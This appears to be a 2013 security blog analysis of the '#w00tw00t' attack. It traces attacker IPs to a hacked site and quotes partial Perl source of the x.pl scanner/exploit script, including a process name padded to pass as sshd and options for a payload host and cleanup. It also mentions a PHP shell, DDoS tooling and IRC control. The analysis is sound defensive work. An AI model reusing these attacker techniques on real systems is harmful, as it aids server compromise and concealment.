MMD-0008-2013 - What's Behind the #w00tw00t Attack

21 Oct 2013

Background..

Not so long ago I received this attack came into our web server:

That was actually the first time of attack series we received as per listed here-->PASTEBIN
Had it enough, so I started to investigate this matter thoroughly. With the help from @malm0u53 I was lead to the source of attack, and start digging deeper over there to find stuffs that are malicious enough to make good person got shocked.

This report actually contains many way to mitigate the similar attack in the future, and also for understanding the source and nature of the current threat. For the Firewall/IPS/IDS filtration research, maybe this poor English writing can be used as reference. I will share the samples upon ready, contains very dangerous tool-kits & packages found.
Following is the report in details..

Tracking..

First I made classification of the IP addresses: 

118.26.203.66
211.162.16.164
58.211.18.184
197.221.26.250
2.228.117.30
46.105.124.119 
212.227.251.6
Seeing the details of each IP..to prioritize the examination: 
DATE                        | IP           | REVERSE                         | ASN  | NETWORK PREFIX  | AS CODE         | cn | ISP CODE            | ISP NAME

While 211.162.16.164 (thank's to MalMouse for noticing this!) lead us into the source of attack:

In the source:

Let's enlarge the point that described the source:
Well, this is what the source of the attack, a hacked site, I marked in green color the hack files..the site itself is full of the URL redirection that I can not comment as clean site itself, but I will focus to the w00tw00t attack component only:

Threat Components..

The below files is the list and log used for the w00tw00t attack: 

-rw-r--r--   1 test     admin       84852 Oct 13 18:01 "vuln.txt"
-rw-r--r--   1 test     admin    37026699 Oct  6 13:12 "vulnmare"
-rw-r--r--   1 test     admin       11934 Oct  7 19:19 "xvuln.txt"
And the below file is the w00tw00t attack script itself: 
-rw-r--r--   1 test     admin        5323 Oct 12 14:29 "x.pl"
These files are the set of the hacking tools injected to this site: 
-rw-r--r--   1 test     admin         650 Oct  8 08:58 "logclean.tgz"
-rw-r--r--   1 test     admin      480699 Oct 13 11:33 "pma.tgz"

Peeling the Code: w00tw00t Attack Script - x.pl

Was written in pure Perl, the script is used to pwned the web server which having the vulnerable PHP, with injecting thus extracting all of the "package" files injected to the compromised server, and start to connect the server to the "master" via IRC channel. Below is the breakdown of the codes for the image: Using these Perl modules: 

#!/usr/bin/perl

# MODULES

#use warnings;
use Parallel::ForkManager;
use IO::Socket;
use URI::_foreign;
use URI::_generic;
use URI::_query;
require URI::_foreign;
use URI;
use LWP;
use LWP::Simple;
use LWP::UserAgent;
use LWP::Protocol::http;
use URI::http;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use HTTP::Headers;
use HTML::Parser;
use Parallel::ForkManager;
use IO::Socket;
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use HTTP::Headers;
use Getopt::Long;
use Time::HiRes qw(gettimeofday);
use MIME::Base64;
How they define the User-Agent, Time Out, Payload & shell: 
#use strict;
my $ua = LWP::UserAgent->new(agent => "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]", env_proxy => 1, keep_alive => 1,timeout => 20);
my $hostfile="vuln.txt";
my $word=".dsf";
my $maximumprocess="50";
my $hiddenprocess='/usr/sbin/sshd                                                                                                              ';
my $eth="eth0";
my $spd='7';
my $scanclassb;
my $scanclassa;
my $explhost;
my $explpayhost;
my $explpayloadfile;
This is where the exploitation & its component was defined: 
GetOptions(
 'exploit|x' => \&exploit,
        'h|hostfile=s'    => \$hostfile,
        'p|paths=s' => \$word,
        't|threads=s'      => \$maximumprocess,
        'help'        => \&usage,
        'hide=s'                => \$hiddenprocess,
        'b=s'           => \$scanclassb,
        'a=s'           => \$scanclassa,
        'i=s'           => \$eth,
        'spd=s'         => \$spd,
        'r'             => \&rev,
 'host=s' => \$explpayhost,
 'clean|sterge' => \&sterge,
The ATTACK logic of #w00tw00t used in this attack is very simple...

With some error trapping and.. they're not very friendly to their users...

Here's the main exploit function, noted: the extracting the PMA hacking tools to pwn the server:


Finally the scan wit activating PMA toolkit..and deletion of the toolkit extracted components..

Post #w00tw00t pwned..(1) The Evil Redirection Service

This is the main concept of the attack, explaining WHY this server has so many "weird" redirections.
This server itself was pawned and becoming host of evil redirection service, as per one of some dir below:

If you se the inside of CGP.PHP file itself is a PHPSHEL v1.7:

Post #w00tw00t pwned..(2) The Network Attack Tool (Portscnner, DDoS, etc)

Not a surprise anymore to find an attack tool in the case like this, it seems like is the part of the package actually. Below is the snippet code used for the attack (the snipped codes was cut and modified, so it is "neutralized"). File: 

-rw-r--r--   1 test     admin       37281 Oct 13 16:34 perl
(this is the shadow of the below file, self copied by the main script)
-rw-r--r--   1 test     admin       37287 Oct 13 15:53 .dsf
Below are the evil code snippets for the PoC purpose:

Preview Video for the etc Hack Toolkit packages used (is an evidence of crime)

I can not discuss the other tool kits found for I am running out of time to write..there are so many of them!
But those tools really explain us a lot of details on what MO if the hack action is, you will see many tool-set with the ELF binaries insides, some are Open Source software that being mis-used for this malicious purpose. To make a good overview of the other tools used, I tried to open the archive of those hack-tools package one by one and recorded it in a video for you to view safely:

Who is the attacker?

The attack itself is controlled by a bad actor hidden behind an IRC connectivity , below I disclose the IRC configuration used by this case's attacker, contains the source of the IRC's IP, User's ID, IRC channel, Nicknames/Handles used for conducting the attack, is a check-mate:
